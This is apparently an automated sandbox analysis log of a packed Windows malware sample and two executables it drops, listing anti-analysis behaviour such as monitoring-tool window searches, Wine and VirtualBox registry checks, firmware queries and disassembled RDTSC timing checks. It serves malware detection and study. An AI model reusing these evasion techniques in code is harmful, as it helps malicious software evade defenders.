Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: U8mbM8r793.exe

Static file information: File size 1853952 > 1048576

Source: U8mbM8r793.exe

Static PE information: Raw size of oqtikcnf is bigger than: 0x100000 < 0x19c600

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: IC79VITF07QUR284C1B5QWCEACP3.exe, 00000007.00000002.1709913712.0000000000512000.00000040.00000001.01000000.00000006.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Unpacked PE file: 7.2.IC79VITF07QUR284C1B5QWCEACP3.exe.510000.0.unpack :EW;.rsrc:W;.idata :W;tnrxecbv:EW;anayjrgy:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Unpacked PE file: 8.2.ER7BQPWQ4HBBERO2A4ZIZ5.exe.f30000.0.unpack :EW;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;wwqufnsk:EW;dutjqjqn:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: U8mbM8r793.exe	Static PE information: real checksum: 0x1c4eb0 should be: 0x1cc0eb
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: real checksum: 0x2c49df should be: 0x2b6c61
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: real checksum: 0x2d28a0 should be: 0x2c6754

Source: U8mbM8r793.exe	Static PE information: section name:
Source: U8mbM8r793.exe	Static PE information: section name: .idata
Source: U8mbM8r793.exe	Static PE information: section name:
Source: U8mbM8r793.exe	Static PE information: section name: oqtikcnf
Source: U8mbM8r793.exe	Static PE information: section name: buvnuwtm
Source: U8mbM8r793.exe	Static PE information: section name: .taggant
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name:
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name: .idata
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name: tnrxecbv
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name: anayjrgy
Source: IC79VITF07QUR284C1B5QWCEACP3.exe.4.dr	Static PE information: section name: .taggant
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name:
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name: .idata
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name: wwqufnsk
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name: dutjqjqn
Source: ER7BQPWQ4HBBERO2A4ZIZ5.exe.4.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAE8 push cs; iretd	4_3_0175DAEA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAE8 push cs; iretd	4_3_0175DAEA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAC7 push cs; ret	4_3_0175DACA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAC7 push cs; ret	4_3_0175DACA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0173F55F push esi; retf	4_3_0173F562
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_017410D4 push esi; retf	4_3_017410D7
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_017024F0 push eax; iretd	4_3_017024F1
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAE8 push cs; iretd	4_3_0175DAEA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAE8 push cs; iretd	4_3_0175DAEA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAC7 push cs; ret	4_3_0175DACA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175DAC7 push cs; ret	4_3_0175DACA
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_01763994 push edi; ret	4_3_0176399A
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_01763994 push edi; ret	4_3_0176399A
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_01763994 push edi; ret	4_3_0176399A
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_01763994 push edi; ret	4_3_0176399A
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_0175F4A8 push eax; iretd	4_3_0175F4A9
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_01763994 push edi; ret	4_3_0176399A
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Code function: 4_3_01763994 push edi; ret	4_3_0176399A
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Code function: 7_2_006AB0AC push 7A4F59F3h; mov dword ptr [esp], ebp	7_2_006AE0C7
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Code function: 7_2_006AB0AC push eax; mov dword ptr [esp], 2D5DFFBFh	7_2_006AF8C6

Source: U8mbM8r793.exe	Static PE information: section name: entropy: 7.981098659350033
Source: U8mbM8r793.exe	Static PE information: section name: oqtikcnf entropy: 7.953805084719167

Source: C:\Users\user\Desktop\U8mbM8r793.exe	File created: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe			Jump to dropped file
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File created: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe			Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\U8mbM8r793.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\U8mbM8r793.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\U8mbM8r793.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IC79VITF07QUR284C1B5QWCEACP3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ER7BQPWQ4HBBERO2A4ZIZ5.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1008244 second address: 1008248 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180BC5 second address: 1180BCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180BCB second address: 1180BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180FC5 second address: 1180FDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007EFCC8E1B141h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180FDF second address: 1180FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180FE3 second address: 1180FE7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180FE7 second address: 1180FED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1180FED second address: 1180FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11812B4 second address: 11812B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11812B8 second address: 11812BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11812BE second address: 11812D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFCC8D6A384h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182BDB second address: 1182C2D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B149h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d jno 00007EFCC8E1B13Ah 0x00000013 mov eax, dword ptr [eax] 0x00000015 push ebx 0x00000016 push ecx 0x00000017 je 00007EFCC8E1B136h 0x0000001d pop ecx 0x0000001e pop ebx 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push edx 0x00000026 jmp 00007EFCC8E1B143h 0x0000002b pop edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182C2D second address: 1182CAC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push edx 0x0000000c call 00007EFCC8D6A378h 0x00000011 pop edx 0x00000012 mov dword ptr [esp+04h], edx 0x00000016 add dword ptr [esp+04h], 00000016h 0x0000001e inc edx 0x0000001f push edx 0x00000020 ret 0x00000021 pop edx 0x00000022 ret 0x00000023 mov edi, eax 0x00000025 push 00000003h 0x00000027 mov edx, dword ptr [ebp+122D356Eh] 0x0000002d push 00000000h 0x0000002f adc edi, 299F2070h 0x00000035 push 00000003h 0x00000037 sub dword ptr [ebp+122D359Dh], ebx 0x0000003d call 00007EFCC8D6A379h 0x00000042 jmp 00007EFCC8D6A37Ch 0x00000047 push eax 0x00000048 push edx 0x00000049 jp 00007EFCC8D6A384h 0x0000004f pop edx 0x00000050 mov eax, dword ptr [esp+04h] 0x00000054 push eax 0x00000055 push edx 0x00000056 jne 00007EFCC8D6A37Ch 0x0000005c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182CAC second address: 1182CB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182CB2 second address: 1182CB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182CB6 second address: 1182D29 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jmp 00007EFCC8E1B13Ah 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jc 00007EFCC8E1B146h 0x00000019 jmp 00007EFCC8E1B140h 0x0000001e pop eax 0x0000001f movzx ecx, di 0x00000022 jmp 00007EFCC8E1B149h 0x00000027 lea ebx, dword ptr [ebp+1244EA60h] 0x0000002d mov cx, di 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 pushad 0x00000035 popad 0x00000036 jmp 00007EFCC8E1B148h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182E1E second address: 1182E9A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007EFCC8D6A37Eh 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b add dword ptr [esp], 16597983h 0x00000012 push 00000000h 0x00000014 push ebx 0x00000015 call 00007EFCC8D6A378h 0x0000001a pop ebx 0x0000001b mov dword ptr [esp+04h], ebx 0x0000001f add dword ptr [esp+04h], 0000001Ch 0x00000027 inc ebx 0x00000028 push ebx 0x00000029 ret 0x0000002a pop ebx 0x0000002b ret 0x0000002c sbb ecx, 52FCFD15h 0x00000032 mov dword ptr [ebp+122D1B6Eh], eax 0x00000038 push 00000003h 0x0000003a jbe 00007EFCC8D6A376h 0x00000040 push 00000000h 0x00000042 jmp 00007EFCC8D6A37Ch 0x00000047 push 00000003h 0x00000049 or si, ACA1h 0x0000004e mov dword ptr [ebp+122D1B6Eh], esi 0x00000054 push 8AA5FB42h 0x00000059 pushad 0x0000005a push eax 0x0000005b push edx 0x0000005c jng 00007EFCC8D6A376h 0x00000062 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182E9A second address: 1182EC8 instructions: 0x00000000 rdtsc 0x00000002 jno 00007EFCC8E1B136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push edi 0x0000000c pop edi 0x0000000d pop edi 0x0000000e popad 0x0000000f xor dword ptr [esp], 4AA5FB42h 0x00000016 mov dword ptr [ebp+122D1B5Dh], edx 0x0000001c lea ebx, dword ptr [ebp+1244EA69h] 0x00000022 or esi, 2FF3F8BEh 0x00000028 xchg eax, ebx 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182EC8 second address: 1182ECC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182F4C second address: 1182F83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pop edi 0x00000008 push eax 0x00000009 pushad 0x0000000a jmp 00007EFCC8E1B13Eh 0x0000000f push edx 0x00000010 jnc 00007EFCC8E1B136h 0x00000016 pop edx 0x00000017 popad 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f jmp 00007EFCC8E1B13Eh 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182F83 second address: 1182F8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182F8A second address: 1182FAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push esi 0x0000000a pushad 0x0000000b push edx 0x0000000c pop edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f popad 0x00000010 pop esi 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 ja 00007EFCC8E1B13Ch 0x0000001d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1182FAD second address: 1183044 instructions: 0x00000000 rdtsc 0x00000002 jc 00007EFCC8D6A38Eh 0x00000008 jmp 00007EFCC8D6A388h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop eax 0x00000010 push 00000000h 0x00000012 push edi 0x00000013 call 00007EFCC8D6A378h 0x00000018 pop edi 0x00000019 mov dword ptr [esp+04h], edi 0x0000001d add dword ptr [esp+04h], 0000001Dh 0x00000025 inc edi 0x00000026 push edi 0x00000027 ret 0x00000028 pop edi 0x00000029 ret 0x0000002a mov dx, ax 0x0000002d push 00000003h 0x0000002f xor dx, 473Dh 0x00000034 mov dl, 9Dh 0x00000036 push 00000000h 0x00000038 movsx edi, cx 0x0000003b push 00000003h 0x0000003d push 00000000h 0x0000003f push edi 0x00000040 call 00007EFCC8D6A378h 0x00000045 pop edi 0x00000046 mov dword ptr [esp+04h], edi 0x0000004a add dword ptr [esp+04h], 00000016h 0x00000052 inc edi 0x00000053 push edi 0x00000054 ret 0x00000055 pop edi 0x00000056 ret 0x00000057 jne 00007EFCC8D6A376h 0x0000005d push F6E20846h 0x00000062 push eax 0x00000063 push edx 0x00000064 jmp 00007EFCC8D6A381h 0x00000069 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1194DEE second address: 1194DF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 1194DF2 second address: 1194DF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 116E392 second address: 116E39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 116E39B second address: 116E3A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A29A2 second address: 11A29A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A2B51 second address: 11A2B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A2CE8 second address: 11A2CEC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A2CEC second address: 11A2CF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A2E5D second address: 11A2E61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A2FD6 second address: 11A2FE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007EFCC8D6A376h 0x0000000a jne 00007EFCC8D6A376h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 rdtsc
